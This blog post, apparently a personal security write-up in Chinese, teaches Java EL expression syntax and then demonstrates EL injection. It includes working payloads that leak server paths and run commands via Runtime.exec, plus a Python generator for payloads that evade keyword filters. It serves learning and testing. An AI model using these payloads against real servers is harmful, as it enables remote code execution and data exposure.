EL表达式注入

EL简介

EL表达式语言是JSP内置的语言,目的是为了让JSP写起来更加简单。其主要功能有以下几个方面

  • 获取数据
  • 获取WEB开发常用对象
  • 执行运算
  • 调用Java方法

语法

  • 格式

EL表达式以${开头,以}结尾,中间即为我们的表达式

${expression}
  • 访问数据

简介中就说过EL表达式的主要功能之一就是获取数据,那么这个功能具体是怎么实现的呢。EL提供了[].运算符,通过这两个运算符,我们可以实现数据的访问,比如访问一个JavaBean的属性的例子

${user.id}

${user[id]}

但是要注意的是,当属性名中存在- .等特殊符号时,只能使用[]访问,如:

${user[-id]}

此外,[]也可以跟平常一样用来访问数组,list中的数据

  • 操作符

EL中的操作符跟JSP中的基本一样,借一张图说话

image-20220323160941898

  • 隐式对象

EL表达式语言提供了一些隐式对象以便我们能获取到WEB应用中的数据。

  • pageContext

    页面上下文对象,用于访问JSP的内置对象,如:request,response等,不过不能获取到application,config和pageContext对象,尝试访问request对象并获取传入的参数

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    
    <%
      String a="Hello";
    %>
    <html>
      <head>
        <title>$Title$</title>
      </head>
      <body>
      test:${pageContext.request.getParameter("test")}
      </body>
    </html>
![image-20220323163018568](https://novic4tuc-1303164387.cos.ap-nanjing.myqcloud.com/ticket/image-20220323163018568.png)
    • Scope系列隐式对象

    EL提供了四个用于访问作用域范围的隐式对象,分别为pageScoperequestScopesessionScopeapplicationScope。比如一个EL表达式${test},此时并没有指定作用域范围,所以系统会依次从pagerequestsessionapplication进行查找,中途找到后直接回传,不再继续寻找,所有范围都未找到则回传""。当指定作用域范围后,系统就只会在指定的作用域中寻找,如:${pageScope.test}

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    
    <html>
      <head>
        <title>$Title$</title>
      </head>
      <body>
      <%
        pageContext.setAttribute("test","xxx");
      %>
      test:${pageScope.test}
      </body>
    </html>

    image-20220323164656822

    • param

    用于获取请求参数的值

    ${param.test}
    • paramValues

    当一个请求参数名对应多个值时,就需要使用该对象获取其值,返回值为一个数组

    ${paramValues.test[0]}
    • header

    用于获取HTTP头的值

    ${header.host}
    • headerValues

    paramValues同理

    • initParam

    获取web应用初始化参数的值

    • cookie

    用于访问cookie对象的属性

    • 调用JAVA方法

    EL表达式调用自定义JAVA方法需要几个步骤

    • 编写自定义类和方法,方法需要是static public

      public class test {
          public String test(){
              return "hello";
          }
      }
    • WEB-INF下新建test.tld文件,指定执行的java方法和url

      <?xml version="1.0" encoding="UTF-8"?>
      <taglib version="2.0" xmlns="http://java.sun.com/xml/ns/j2ee"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
          <tlib-version>1.0</tlib-version>
          <short-name>test</short-name>
          <uri>http://novic4.cn/test</uri>
          <function>
              <name>test</name>
              <function-class>test</function-class>
              <function-signature> java.lang.String test()</function-signature>
          </function>
      </taglib>
    • 然后在JSP中导入taglib标签库,URI为test.tld中设置的URI地址,prefix为test.tld中设置的short-name,然后调用方法

      <%@ page contentType="text/html;charset=UTF-8" language="java" %>
      <% @taglib uri="http://novic4.cn/test" prefix="test"%>
      
      <html>
      <head>
          <title>$Title$</title>
      </head>
      <body>
      xxxx: ${test:a()}
      </body>
      </html>

    EL表达式注入

    当我们能够控制EL表达式的内容时,就可以插入我们的恶意代码,获取服务器的敏感信息,甚至直接RCE。

    • 获取敏感路径

      ${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
    • 获取webroot

      ${applicationScope}
    • 执行命令

      ${"".getClass().forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(null).exec("calc")}
      
      ${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}

    image-20220323173627656

    bypass

    在一篇文章中看到可以用true.toString().charAt(0).toChars(67)[0].toString()来构造字符,然后结合concat方法构造字符串,进入绕过对关键字的过滤,写了个小脚本生成payload

    def encode(exp):
        payload='true.toString().charAt(0).toChars({})[0].toString()'
        bypassexp=''
        for i in range(0,len(exp)):
            if i == 0 :
                bypassexp+=payload.format(ord(exp[i]))
                continue
            bypassexp+=".concat({})".format(payload.format(ord(exp[i])))
        return bypassexp
    
    bypassexp='pageContext.setAttribute("a","".getClass().forName({}).getMethod({},"".getClass()).invoke("".getClass().forName({}).getMethod({}).invoke(null),{}))'.format(encode('java.lang.Runtime'),encode('exec'),encode('java.lang.Runtime'),encode('getRuntime'),encode('calc'))
    print(bypassexp)

    image-20220323205543764

    image-20220323205609638

    成功绕过

    看资料说unicode和八进制也可以绕,但是测试的时候并没有成功

    参考文章

    https://y4er.com/post/java-expression-injection/#%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%AE%9E%E4%BE%8B

    https://xz.aliyun.com/t/7692#toc-18

    http://j0k3r.top/2020/08/13/java-expression/#0x03-EL-%E6%B3%A8%E5%85%A5

    本文链接:

    http://novic4.cn/index.php/archives/17.html
    1 + 3 =
    快来做第一个评论的人吧~